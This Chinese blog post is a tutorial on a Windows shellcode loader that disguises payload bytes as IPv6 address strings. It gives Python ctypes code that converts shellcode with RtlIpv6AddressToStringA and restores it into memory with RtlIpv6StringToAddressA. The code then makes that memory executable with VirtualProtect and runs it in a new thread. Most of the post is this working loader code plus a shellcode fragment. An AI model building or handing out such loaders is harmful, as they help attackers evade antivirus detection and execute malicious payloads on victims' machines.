与上一篇的原理其实类似,在开发手册里还有很多功能差不多的api,也能将二进制写入内存。
比如 Ip2string.h 里的 RtlEthernetStringToAddressA、RtlIpv4StringToAddressA、RtlIpv6StringToAddressA 等等
这次来使用RtlIpv6StringToAddressA 进行shellcode加载
与之对应的还有 RtlIpv6AddressToStringA
ipv6
IPv6是英文“Internet Protocol Version 6”(互联网协议第6版)的缩写,是互联网工程任务组(IETF)设计的用于替代IPv4的下一代IP协议,其地址数量号称可以为全世界的每一粒沙子编上一个地址 [1] 。
这里是用的冒分十六进制
格式为X:X:X:X:X:X:X:X,其中每个X表示地址中的16b,以十六进制表示,例如:
ABCD:EF01:2345:6789:ABCD:EF01:2345:6789
这种表示法中,每个X的前导0是可以省略的,例如:
2001:0DB8:0000:0023:0008:0800:200C:417A→ 2001:DB8:0:23:8:800:200C:417A
x48x31xc9x48x81xe9xc0xffxffxffx48x8dx05xefxffxff => 4831:c948:81e9:c0ff:ffff:488d:5ef:ffffx00
因为x05会省略x的前导0,所以后面会多一个x00出来
RtlIpv6AddressToStringA
是ntdll.dll库的函数 可以把ipv6的二进制格式转为字符串表示
一组ipv6最多是39个字节长度 转换由16变为39
所以分配的虚拟空间是/16*39
ipv6 = ctypes.windll.kernel32.VirtualAlloc(0,len(scode)/16*39,0x3000,0x40)
然后就是分组将shellcode变换为字符串写入刚才分配的内存
for i in range(len(scode)/16): bytes_a = scode[i*16:16+i*16] ctypes.windll.Ntdll.RtlIpv6AddressToStringA(bytes_a, ipv6+i*39)
当然我们可以使用ctypes.string_at()来查看内存中的情况
list = [] for i in range(len(scode)/16): d = ctypes.string_at(ipv6+i*39,39) list.append(d) print(list)
这样就得到了转化后的ipv6地址了
然后就是使用RtlIpv6StringToAddressA来将ipv6的字符串格式转为二进制并保存到内存里
RtlIpv6StringToAddressA
首先开辟list个数的16倍的空间 (0x04 为可读可写)
ptr = ctypes.windll.kernel32.VirtualAlloc(0,len(list)*16,0x3000,0x04)
这里只需要第一个参数传ipv6,第三个参数传分配的地址,第二个参数可以填NULL
rwxpage = ptr for i in range(len(list)): ctypes.windll.Ntdll.RtlIpv6StringToAddressA(list[i], 'NULL', rwxpage) rwxpage += 16
然后就是创建线程并让线程一直运行
ctypes.windll.kernel32.VirtualProtect(ptr, len(list)*16, 0x40, ctypes.byref(ctypes.c_long(1))) handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
这里使用VirtualProtect修改了之前分配的内存为可读可写可执行(0x40)
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)